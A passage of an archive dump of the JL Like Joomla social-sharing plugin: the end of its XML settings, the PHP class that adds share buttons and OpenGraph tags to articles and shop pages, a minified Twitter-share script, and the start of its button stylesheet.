                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="12"
                        required="true"
                        filter="integer"
                />
                <field name="addtl"
                       type="radio"
                       default="1"
                       label="PLG_JLLIKEPRO_ENABLE_TL"
                       description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="tl_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="13"
                        required="true"
                        filter="integer"
                />
				<field name="addwa"
                       type="radio"
                       default="1"
                       label="PLG_JLLIKEPRO_ENABLE_WA"
                       description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="wa_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="14"
                        required="true"
                        filter="integer"
                />
                <field name="addvi"
                       type="radio"
                       default="1"
                       label="PLG_JLLIKEPRO_ENABLE_VI"
                       description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="vi_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="15"
                        required="true"
                        filter="integer"
                />										
				<field name="addall"
                       type="radio"
                       default="1"
                       label="PLG_JLLIKEPRO_ENABLE_ALL"
                       description="PLG_JLLIKEPRO_ENABLE_ALL_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
            </fieldset>
            <fieldset
                    name="basic"
                    >
                <field
                        name="autoAdd"
                        type="radio" default="1"
                        label="PLG_JLLIKEPRO_AUTOADD_LABEL"
                        description="PLG_JLLIKEPRO_AUTOADD_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="enableCounters"
                        type="radio" default="1"
                        label="LG_JLLIKEPRO_ENABLECOUNTERS"
                        description="LG_JLLIKEPRO_ENABLECOUNTERS_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>

                <field
                        name="desc_source_one"
                        type="list"
                        default="desc"
                        label="PLG_JLLIKEPRO_DESC_SOURCE_ONE"
                        description="PLG_JLLIKEPRO_DESC_SOURCE_ONE_DESC"
                        >
                    <option value="desc">PLG_JLLIKEPRO_DESC</option>
                    <option value="full">PLG_JLLIKEPRO_FULL</option>
                    <option value="meta">PLG_JLLIKEPRO_META</option>
                </field>
                <field
                        name="desc_source_two"
                        type="list"
                        default="full"
                        label="PLG_JLLIKEPRO_DESC_SOURCE_TWO"
                        description="PLG_JLLIKEPRO_DESC_SOURCE_TWO_DESC"
                        >
                    <option value="desc">PLG_JLLIKEPRO_DESC</option>
                    <option value="full">PLG_JLLIKEPRO_FULL</option>
                    <option value="meta">PLG_JLLIKEPRO_META</option>
                </field>
                <field
                        name="desc_source_three"
                        type="list"
                        default="meta"
                        label="PLG_JLLIKEPRO_DESC_SOURCE_THREE"
                        description="PLG_JLLIKEPRO_DESC_SOURCE_THREE_DESC"
                        >
                    <option value="desc">PLG_JLLIKEPRO_DESC</option>
                    <option value="full">PLG_JLLIKEPRO_FULL</option>
                    <option value="meta">PLG_JLLIKEPRO_META</option>
                </field>
                <field
                        name="clear_plugin_tags"
                        type="radio"
                        default="1"
                        label="PLG_JLLIKEPRO_CLEAR_PLUGIN_TAGS"
                        description="PLG_JLLIKEPRO_CLEAR_PLUGIN_TAGS_DESC"
                >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="default_image"
                        type="media"
                        default=""
                        label="PLG_JLLIKEPRO_DEFAULT_IMAGE"
                        description="PLG_JLLIKEPRO_DEFAULT_IMAGE_DESC"
                />

                <field
                        name="enable_opengraph"
                        type="radio"
                        default="1"
                        label="PLG_JLLIKEPRO_ENABLE_OPENGRAPH"
                        description="PLG_JLLIKEPRO_ENABLE_OPENGRAPH_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>

                <field
                        name="typesget"
                        type="list"
                        default="0"
                        label="PLG_JLLIKEPRO_TYPESGET_LABEL"
                        description="PLG_JLLIKEPRO_TYPESGET_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_FILEGET</option>
                    <option value="1">PLG_JLLIKEPRO_CURL</option>
                </field>
                <field
                        name="pathbase"
                        type="list"
                        default=""
                        label="PLG_JLLIKEPRO_PRIORITE_DOMEN_LABEL"
                        description="PLG_JLLIKEPRO_PRIORITE_DOMEN_DESC"
                        >
                    <option value="">PLG_JLLIKEPRO_WITHOUT_WWW</option>
                    <option value="www.">PLG_JLLIKEPRO__WITH_WWW</option>
                </field>
                <field
                        name="buttons_contayner"
                        type="text"
                        default=""
                        label="PLG_JLLIKEPRO_METKAVM_LABEL"
                        description="PLG_JLLIKEPRO_METKAVM_DESC"
                        />
                <field
                        name="parent_contayner"
                        type="text"
                        default="div.jllikeproSharesContayner"
                        label="PLG_JLLIKEPRO_PARENT_CONTAYNER_LABEL"
                        description="PLG_JLLIKEPRO_PARENT_CONTAYNER_DESC"
                        />
                <field
                        name="punycode_convert"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_PUNYCODDE_CONVERT"
                        description="PLG_JLLIKEPRO_PUNYCODDE_CONVERT_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="disable_more_likes"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_DISABLE_MORE_LIKES"
                        description="PLG_JLLIKEPRO_DISABLE_MORE_LIKES_DESC"
                        >
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>			
            </fieldset>


            <fieldset
                label="PLG_JLLIKEPRO_SETTINGS_BUTTONS_STYLE"
                name="style"
            >
			    <field
                        name="position_content"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_POSITION_LABEL"
                        description="PLG_JLLIKEPRO_POSITION_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_LEFT</option>
                    <option value="1">PLG_JLLIKEPRO_RIGHT</option>
                    <option value="2">PLG_JLLIKEPRO_CENTER</option>
                </field>
                <field
                        name="enable_fix_buttons"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_ENABLE_FIX_BUTTONS"
                        description="PLG_JLLIKEPRO_ENABLE_FIX_BUTTONS_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
				<field
                        name="enable_mobile_css"
                        type="radio"
                        default="1"
                        label="PLG_JLLIKEPRO_ENABLE_MOBILE_CSS"
                        description="PLG_JLLIKEPRO_ENABLE_MOBILE_CSS_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="btn_border_radius"
                        type="text"
                        default="15"
                        label="PLG_JLLIKEPRO_BUTTONS_BORDER_RADIUS"
                        description="PLG_JLLIKEPRO_BUTTONS_BORDER_RADIUS_DESC"
                        filter="integer"
                />
                <field
                        name="btn_dimensions"
                        type="text"
                        default="30"
                        label="PLG_JLLIKEPRO_BUTTONS_DIMENSIONS"
                        description="PLG_JLLIKEPRO_BUTTONS_DIMENSIONS_DESC"
                        filter="integer"
                />
                <field
                        name="btn_margin"
                        type="text"
                        default="6"
                        label="PLG_JLLIKEPRO_BUTTONS_MARGIN"
                        description="PLG_JLLIKEPRO_BUTTONS_MARGIN_DESC"
                        filter="integer"
                />
                <field
                        name="font_size"
                        type="text"
                        default="1"
                        label="PLG_JLLIKEPRO_BUTTONS_FONT_SIZE"
                        description="PLG_JLLIKEPRO_BUTTONS_FONT_SIZE_DESC"
                        filter="float"
                />
				<field
                        name="button_text"
                        type="textarea"
                        cols="100"
                        rows="5"
                        default=""
                        label="PLG_JLLIKEPRO_BUTTON_TEXT"
                        description="PLG_JLLIKEPRO_BUTTON_TEXT_DESC"
                        />
				<field
                        name="enable_twit"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_ENABLE_TWIT"
                        description="PLG_JLLIKEPRO_ENABLE_TWIT_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
				 <field
                        name="allow_in_category"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_ALLOW_IN_CAT"
                        description="PLG_JLLIKEPRO_ALLOW_IN_CAT_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>

            </fieldset>

            <fieldset
                    label="PLG_JLLIKEPRO_SETTINGS_CONTENT"
                    name="content"
                    >
                <field
                        name="categories"
                        type="category"
                        extension='com_content'
                        default="0"
                        multiple="multiple"
                        label="PLG_JLLIKEPRO_EXCLUDE_CATEGORY_LABEL"
                        description="PLG_JLLIKEPRO_EXCLUDE_CATEGORY_DESC"
                        />
				<field
                        name="shares_position"
                        type="list"
                        default="1"
                        label="PLG_JLLIKEPRO_LOAD_SHARES"
                        description="PLG_JLLIKEPRO_LOAD_SHARES_DESC"
                        >
                    <option value="0">PLG_JLLIKEPRO_TOP</option>
                    <option value="1">PLG_JLLIKEPRO_BOTTOM</option>
                </field>
                <field
                        name="content_images"
                        type="list"
                        default="fields"
                        label="PLG_JLLIKEPRO_IMAGES"
                        description="PLG_JLLIKEPRO_IMAGES_DESC"
                        >
                    <option value="fields">PLG_JLLIKEPRO_FROM_FIELDS</option>
                    <option value="text">PLG_JLLIKEPRO_FROM_TEXT</option>
                </field>
                <field
                        name="desc_source_com_content"
                        type="list"
                        default="intro"
                        label="PLG_JLLIKELOCK_DESC_SOURCE"
                        description="PLG_JLLIKELOCK_DESC_SOURCE_DESC"
                        >
                    <option value="intro">PLG_JLLIKELOCK_INTRO</option>
                    <option value="full">PLG_JLLIKELOCK_FULL</option>
                </field>
            </fieldset>
            <fieldset
                    label="PLG_JLLIKEPRO_SETTINGS_K2"
                    name="k2"
                    addfieldpath="/plugins/content/jllike/elements/"
                    >
                <field
                        name="k2categories"
                        type="k2categories"
                        default=""
                        multiple="multiple"
                        label="PLG_JLLIKEPRO_EXCLUDE_CATEGORY_LABEL"
                        description="PLG_JLLIKEPRO_EXCLUDE_CATEGORY_DESC"
                        />
                <field
                        name="k2trigger"
                        type="list"
                        default="0"
                        label="PLG_JLLIKEPRO_K2_TRIGGER"
                        description="PLG_JLLIKEPRO_K2_TRIGGER_DESC"
                        >
                    <option value="onK2BeforeDisplay">onK2BeforeDisplay</option>
                    <option value="onK2AfterDisplayTitle">onK2AfterDisplayTitle</option>
                    <option value="onK2BeforeDisplayContent">onK2BeforeDisplayContent</option>
                    <option value="onK2AfterDisplayContent">onK2AfterDisplayContent</option>
                    <option value="onK2AfterDisplay">onK2AfterDisplay</option>
                </field>
                <field
                        name="k2_images"
                        type="list"
                        default="fields"
                        label="PLG_JLLIKEPRO_IMAGES"
                        description="PLG_JLLIKEPRO_IMAGES_DESC"
                        >
                    <option value="fields">PLG_JLLIKEPRO_FROM_FIELDS</option>
                    <option value="text">PLG_JLLIKEPRO_FROM_TEXT</option>
                </field>
                <field
                        name="k2_add_opengraph"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_ADD_OPENGRAPH"
                        description="PLG_JLLIKEPRO_ADD_OPENGRAPH_DESC"
                        >
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="desc_source_k2"
                        type="list"
                        default="intro"
                        label="PLG_JLLIKELOCK_DESC_SOURCE"
                        description="PLG_JLLIKELOCK_DESC_SOURCE_DESC"
                        >
                    <option value="intro">PLG_JLLIKELOCK_INTRO</option>
                    <option value="full">PLG_JLLIKELOCK_FULL</option>
                </field>
            </fieldset>
            <fieldset
                    label="PLG_JLLIKEPRO_SETTINGS_VIRTUEMART"
                    name="virt"
                    >
                <field
                        name="virtcontent"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_SHOW_LABEL"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
					<option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="autoAddvm"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_AUTOADD_LABEL"
                        description="PLG_JLLIKEPRO_AUTOADD_DESC_VIRTUEMART"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
            </fieldset>
            <fieldset
                    label="PLG_JLLIKEPRO_SETTINGS_ADSMANAGER"
                    name="ads"
                    >
                <field
                        name="adscontent"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_SHOW_LABEL"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
					<option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
            </fieldset>
            <fieldset
                    label="PLG_JLLIKEPRO_SETTINGS_JSHOPMANAGER"
                    name="jshop"
                    >
                <field
                        name="jshopcontent"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_SHOW_LABEL"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
					<option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="jshopposition"
                        type="list"
                        default="2"
                        label="PLG_JLLIKEPRO_SOCIAL_SHARE_POSITION"
                        description="PLG_JLLIKEPRO_SOCIAL_SHARE_POSITION_DESC"
                        >
                    <option value="1">PLG_JLLIKEPRO_SOCIAL_SHARE_TOP</option>
                    <option value="2">PLG_JLLIKEPRO_SOCIAL_SHARE_MIDDLE</option>
                    <option value="3">PLG_JLLIKEPRO_SOCIAL_SHARE_BOTTOM</option>
                </field>
            </fieldset>
            <fieldset
                    label="PLG_JLLIKEPRO_EASYBLOG_SETTINGS"
                    name="easy"
                    >
                <field
                        name="easyblogshow"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_SHOW_LABEL"
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="easyblog_images"
                        type="list"
                        default="fields"
                        label="PLG_JLLIKEPRO_IMAGES"
                        description="PLG_JLLIKEPRO_IMAGES_DESC"
                        >
                    <option value="fields">PLG_JLLIKEPRO_FROM_FIELDS</option>
                    <option value="text">PLG_JLLIKEPRO_FROM_TEXT</option>
                </field>
                <field
                        name="easyblog_add_opengraph"
                        type="radio"
                        default="0"
                        label="PLG_JLLIKEPRO_ADD_OPENGRAPH"
                        description="PLG_JLLIKEPRO_ADD_OPENGRAPH_DESC"
                        >
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
            </fieldset>


        </fields>
    </config>
    <updateservers><server type="extension" priority="1" name="JL Like">https://joomline.net/update.html?extension_id=8.xml</server></updateservers>
</extension>
                                                                                                                             content/jllike/jllike.php                                                                           0000705                 00000026625 15242051520 0011460 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * jllike
 *
 * @version 4.0.0
 * @author Vadim Kunicin (vadim@joomline.ru), Arkadiy (a.sedelnikov@gmail.com)
 * @copyright (C) 2010-2019 by Joomline (http://www.joomline.ru)
 * @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 **/

// no direct access
defined('_JEXEC') or die;

jimport('joomla.plugin.plugin');

require_once JPATH_ROOT.'/plugins/content/jllike/helper.php';
if (version_compare(JVERSION, '3.5.0', 'ge'))
{
    if(!class_exists('StringHelper1')){
        class StringHelper1 extends \Joomla\String\StringHelper{}
    }
}
else
{
    if(!class_exists('StringHelper1')){
        jimport('joomla.string.string');
        class StringHelper1 extends JString{}
    }
}

class plgContentjllike extends JPlugin
{
    private $protokol;

    public function __construct(& $subject, $config)
    {
        parent::__construct($subject, $config);
        $this->loadLanguage('plg_content_jllike', JPATH_ROOT.'/plugins/content/jllike');
        $this->protokol = (JFactory::getConfig()->get('force_ssl') == 2) ? 'https://' : 'http://';
    }

    public function onAfterRender()
    {
        $app = JFactory::getApplication();

        if (version_compare(JVERSION, '3.5.0', 'ge'))
        {
            $buffer = $app->getBody();
        }
        else
        {
            $buffer = JResponse::getBody();
        }

        if($buffer !== null)
        {
            $image = $app->getUserState('jllike.image', '');
            if(!empty($image))
            {
            $app->setUserState('jllike.image', '');
                $html = "  <link rel=\"image_src\" href=\"". $image ."\" />\n</head>";
                $buffer = StringHelper1::str_ireplace('</head>', $html, $buffer, 1);
            }
            $buffer = StringHelper1::str_ireplace('<meta name="og:', '<meta property="og:', $buffer);
            if (version_compare(JVERSION, '3.5.0', 'ge'))
            {
                $app->setBody($buffer);
            }
            else
            {
                JResponse::setBody($buffer);
            }
        }
    }


    public function onContentPrepare($context, &$article, &$params, $page = 0)
    {
        if(JFactory::getApplication()->isClient('administrator'))
        {
            return true;
        }

        $input = JFactory::getApplication()->input;

        $allowContext = array(
            'com_content.article',
            'easyblog.blog',
            'com_virtuemart.productdetails'
        );

        $allow_in_category = $this->params->get('allow_in_category', 0);

        if($allow_in_category)
        {
            $allowContext[] = 'com_content.category';
            $allowContext[] = 'com_content.featured';
        }

        if(!in_array($context, $allowContext)){
            return true;
        }

        if (strpos($article->text, '{jllike-off}') !== false) {
            $article->text = str_replace("{jllike-off}", "", $article->text);
            return true;
        }

        $autoAdd = $this->params->get('autoAdd',0);
        $sharePos = (int)$this->params->get('shares_position', 1);
        $enableOpenGraph = $this->params->get('enable_opengraph',1);
        $option = $input->get('option');
        $helper = PlgJLLikeHelper::getInstance($this->params);

        if (strpos($article->text, '{jllike}') === false && !$autoAdd)
        {
            return true;
        }

        if (!isset($article->catid))
        {
            $article->catid = '';
        }

        $print = (int) $input->get('print', 0);

		$root = JURI::getInstance()->toString(array('host'));
        $url = $this->protokol . $this->params->get('pathbase', '') . str_replace('www.', '', $root);

        if($this->params->get('punycode_convert',0))
        {
            $file = JPATH_ROOT.'/libraries/idna_convert/idna_convert.class.php';
            if(!JFile::exists($file))
            {
                return JText::_('PLG_JLLIKEPRO_PUNYCODDE_CONVERTOR_NOT_INSTALLED');
            }

            include_once $file;

            if($url)
            {
                if (class_exists('idna_convert'))
                {
                    $idn = new idna_convert;
                    $url = $idn->encode($url);
                }
            }
        }

        switch ($option) {
            case 'com_content':

                if(empty($article->id))
                {
                    //если категория, то завершаем
                    return true;
                }

                if($print)
                {
                    $article->text = str_replace("{jllike}", "", $article->text);
                    return true;
                }

                $cat = $this->params->get('categories', array());
                $exceptcat = is_array($cat) ? $cat : array($cat);

                if (in_array($article->catid, $exceptcat))
                {
                    $article->text = str_replace("{jllike}", "", $article->text);
                    return true;
                }


                if (version_compare(JVERSION, '3.12.0', '<')) {
                    include_once JPATH_ROOT.'/components/com_content/helpers/route.php';
                }
                $link = $url . JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid));

                $image = '';
                if($this->params->get('content_images', 'fields') == 'fields')
                {
					If(!empty($article->images))
					{
						$images = json_decode($article->images);

						if(!empty($images->image_intro))
						{
							$image = $images->image_intro;
						}
						else if(!empty($images->image_fulltext))
						{
							$image = $images->image_fulltext;
						}

						if(!empty($image))
						{
							$image = JURI::root().$image;
						}
					}

                }
                else
                {
                    $image = PlgJLLikeHelper::extractImageFromText($article->introtext, $article->fulltext);
                }

                $text = $helper->getShareText($article->metadesc, $article->introtext, $article->text);
                $enableOG = $context == 'com_content.article' ? $enableOpenGraph : 0;
                $shares = $helper->ShowIN($article->id, $link, $article->title, $image, $text, $enableOG);

                if ($context == 'com_content.article')
                {
                    $view = $input->get('view');
                    if ($view == 'article')
                    {
                        if ($autoAdd == 1 || strpos($article->text, '{jllike}') == true)
                        {
                            $helper->loadScriptAndStyle(0);

                            switch($sharePos)
                            {
                                case 0:
                                    $article->text = $shares . str_replace("{jllike}", "", $article->text);
                                    break;
                                default:
                                    $article->text = str_replace("{jllike}", "", $article->text) . $shares;
                                    break;
                            }
                        }
                    }
                }
                else if ($context == 'com_content.category' || 'com_content.featured')
                {
                    if ($autoAdd == 1 || strpos($article->text, '{jllike}') == true)
                    {
                        $helper->loadScriptAndStyle(1);
                        $article->text = str_replace("{jllike}", "", $article->text) . $shares;
                    }
                }
                break;
            case 'com_virtuemart':
                if ($context == 'com_virtuemart.productdetails') {
                    $VirtueShow = $this->params->get('virtcontent', 1);
                    if ($VirtueShow == 1)
                    {
                        $autoAddvm = $this->params->get('autoAddvm', 0);
                        if ($autoAddvm == 1 || strpos($article->text, '{jllike}') !== false)
                        {
                            $helper->loadScriptAndStyle(0);
                            $uri = StringHelper1::str_ireplace(JURI::root(), '', JURI::current());
                            $link = $url.'/'.$uri;
                            $image = $helper->getVMImage($article->virtuemart_product_id);
                            $text = $helper->getShareText($article->metadesc, $article->product_s_desc, $article->product_desc);
                            $shares = $helper->ShowIN($article->virtuemart_product_id, $link, $article->product_name, $image, $text, $enableOpenGraph);

                            switch($sharePos){
                                case 0:
                                    $article->text = $shares . str_replace("{jllike}", "", $article->text);
                                    break;
                                default:
                                    $article->text = str_replace("{jllike}", "", $article->text) . $shares;
                                    break;
                            }
                        }
                    }
                }
                break;
            case 'com_easyblog':
                if (($context == 'easyblog.blog') && ($this->params->get('easyblogshow', 0) == 1))
                {
					$allow_in_category = $this->params->get('allow_in_category', 0);
					$isCategory = ($input->get('view', '') == 'entry') ? false : true;

					if(!$allow_in_category && $isCategory)
					{
						return true;
					}

                    if ($autoAdd == 1 || strpos($article->text, '{jllike}') == true)
                    {
                        $helper->loadScriptAndStyle(0);
                        $uri = StringHelper1::str_ireplace(JURI::root(), '', JURI::current());
                        $link = $url.'/'.$uri;

                        $image = '';
                        if($this->params->get('easyblog_images','fields') == 'fields'){
                            $images = json_decode($article->image);
                            if(isset($images->type) && $images->type == 'image')
                            {
                                $image = $images->url;
                            }
                        }
                        else
                        {
                            $image = PlgJLLikeHelper::extractImageFromText($article->intro, $article->content);
                        }

                        $enableOG = $isCategory ? 0 : $this->params->get('easyblog_add_opengraph', 0);
                        $text = $helper->getShareText($article->metadesc, $article->intro, $article->content);
                        $shares = $helper->ShowIN($article->id, $link, $article->title, $image, $text, $enableOG);
                        switch($sharePos){
                            case 0:
                                $article->text = $shares . str_replace("{jllike}", "", $article->text);
                                break;
                            default:
                                $article->text = str_replace("{jllike}", "", $article->text) . $shares;
                                break;
                        }
                    }
                }
                break;
            default:
                break;
        }
    }
}
                                                                                                           content/jllike/js/twit.min.js                                                                       0000705                 00000004322 15242051520 0012206 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       var twShareObject={vars:{popupWidth:600,popupHeight:400,text:"Поделиться в Твиттере",url:document.location.href},$shareButton:null,openPopup:function(a,url){var width=a.vars.popupWidth,height=a.vars.popupHeight,left=(window.innerWidth?window.innerWidth:document.documentElement.clientWidth?document.documentElement.clientWidth:screen.width)/2-width/2+(void 0!==window.screenLeft?window.screenLeft:screen.left),top=(window.innerHeight?window.innerHeight:document.documentElement.clientHeight?document.documentElement.clientHeight:screen.height)/3-height/3+(void 0!==window.screenTop?window.screenTop:screen.top);a.$shareButton.hide();try{window.open(url,"_blank","scrollbars=yes, width="+width+", height="+height+", top="+top+", left="+left).focus()}catch(e){}},onMouseUp:function(a){var b=a.data.share,selectedText;if(b.getSelectedText().length<3)b.$shareButton.hide();else{var coords=b.mouseShowHandler(a);a=jQuery(a.delegateTarget),b.$shareButton.css({position:"absolute",left:coords.x+43,top:coords.y-43}).data("url",b.vars.url).show()}},shareClick:function(a){a.preventDefault();var b=(a=a.data.share).getSelectedText();a.openPopup(a,"https://twitter.com/intent/tweet?url="+encodeURIComponent(a.$shareButton.data("url"))+"&text="+encodeURIComponent(b)),a.$shareButton.hide()},mouseShowHandler:function(e){if(null==(e=e||window.event).pageX&&null!=e.clientX){var html=document.documentElement,body=document.body;e.pageX=e.clientX+(html&&html.scrollLeft||body&&body.scrollLeft||0)-(html.clientLeft||0),e.pageY=e.clientY+(html&&html.scrollTop||body&&body.scrollTop||0)-(html.clientTop||0)}return{x:e.pageX,y:e.pageY}},getSelectedText:function(){var txt;return window.getSelection?txt=window.getSelection().toString():document.getSelection?txt=document.getSelection():document.selection&&(txt=document.selection.createRange().text),txt},init:function(){var a=this,$body=jQuery("body");this.$shareButton=jQuery("<a/>").addClass("share-button-tw").attr({id:"share-button-tw",href:document.location.href,title:this.vars.text}).text(this.vars.text).hide(),this.$shareButton.appendTo($body),$body.on("mouseup",{share:this},this.onMouseUp),this.$shareButton.on("click",{share:this},this.shareClick)}};jQuery((function($){twShareObject.init()}));                                                                                                                                                                                                                                                                                                              content/jllike/js/buttons.min.css                                                                   0000705                 00000055256 15242051520 0013105 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       .jllikeproSharesContayner{padding:0}.jllikeproSharesContayner .event-container{padding:0;width:auto;height:auto}.jllikeproSharesContayner .event-container>div{padding:10px 10px 10px 5px;width:auto;height:auto}.jllikeproSharesContayner a{float:none;width:auto;height:auto;display:inline-block;background-image:none;font-size:0;vertical-align:top;padding:0;margin:0 0 0 5px;background-color:rgba(18,35,52,.1)!important;-webkit-border-radius:15px;-webkit-background-clip:padding-box;-moz-border-radius:15px;-moz-background-clip:padding;border-radius:15px;background-clip:padding-box;background-position:0 center}.jllikeproSharesContayner a.like-not-empty span{padding:0 10px}.jllikeproSharesContayner a.l-fb .l-ico{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20d%3D%22M24.2%2011.3h2.3v-4.3h-3.5c-4.3%200-6%202.9-6%206.1v2.6h-3.5v4.3h3.5v13h5v-13h4l.5-4.3h-4.5v-2.6c0-1.2.4-1.8%202.2-1.8z%22%2F%3E%3C%2Fsvg%3E");background-repeat:no-repeat}.jllikeproSharesContayner a.l-fb{background-color:#3a5795!important}.jllikeproSharesContayner a.l-vk .l-ico{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M29.7%2020.7c-.9-.9-1.5-1.5-3.1-1.8v-.1c1.1-.5%201.9-1.1%202.5-1.9.6-.8.9-1.7.9-2.8%200-.9-.2-1.7-.7-2.4-.4-.7-1.1-1.3-2-1.7-.9-.4-1.7-.7-2.6-.8-.8-.1-2.7-.2-4.6-.2h-9.1v22h10.2c1.7%200%203.1-.1%204.2-.4%201.1-.3%202.1-.7%203-1.4.8-.6%201.4-1.2%201.9-2.1.5-.8.7-1.8.7-2.8%200-1.5-.4-2.7-1.3-3.6zm-12.7-8.2h3.0999999999999996c.8%200%201.4.1%201.9.3.6.2%201%20.5%201.2%201%20.2.4.3.9.3%201.3%200%20.6-.1%201.1-.3%201.5-.2.4-.6.8-1.2%201-.5.2-1.1.3-1.8.4h-3.2v-5.5zm7.1%2012.9c-.3.5-.7.8-1.4%201.1-.7.3-1.4.4-2.2.4h-3.5v-6h3.4c.9%200%201.6.1%202.1.2.7.2%201.3.5%201.6%201%20.3.4.5.9.5%201.7-.1.7-.2%201.2-.5%201.6z%22%2F%3E%3C%2Fsvg%3E");background-repeat:no-repeat}.jllikeproSharesContayner a.l-vk{background-color:#4e7299!important}.jllikeproSharesContayner a.l-tw .l-ico{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M31%2013.1c-.8.4-1.7.6-2.6.7.9-.6%201.7-1.5%202-2.5-.9.5-1.8.9-2.9%201.1-.8-.9-2-1.4-3.3-1.4-2.5%200-4.5%202-4.5%204.5%200%20.4%200%20.7.1%201-3.8-.2-7.1-2-9.3-4.8-.4.7-.6%201.5-.6%202.3%200%201.6.8%203%202%203.8-.7%200-1.4-.2-2.1-.6v.1c0%202.2%201.6%204%203.6%204.5-.4.1-.8.2-1.2.2-.3%200-.6%200-.8-.1.6%201.8%202.2%203.1%204.2%203.2-1.5%201.2-3.5%201.9-5.6%201.9-.4%200-.7%200-1.1-.1%202%201.3%204.4%202.1%206.9%202.1%208.3%200%2012.9-6.9%2012.9-12.9v-.6c.9-.7%201.7-1.5%202.3-2.4z%22%2F%3E%3C%2Fsvg%3E");background-repeat:no-repeat}.jllikeproSharesContayner a.l-tw{background-color:#00aeef!important}.jllikeproSharesContayner a.l-ok 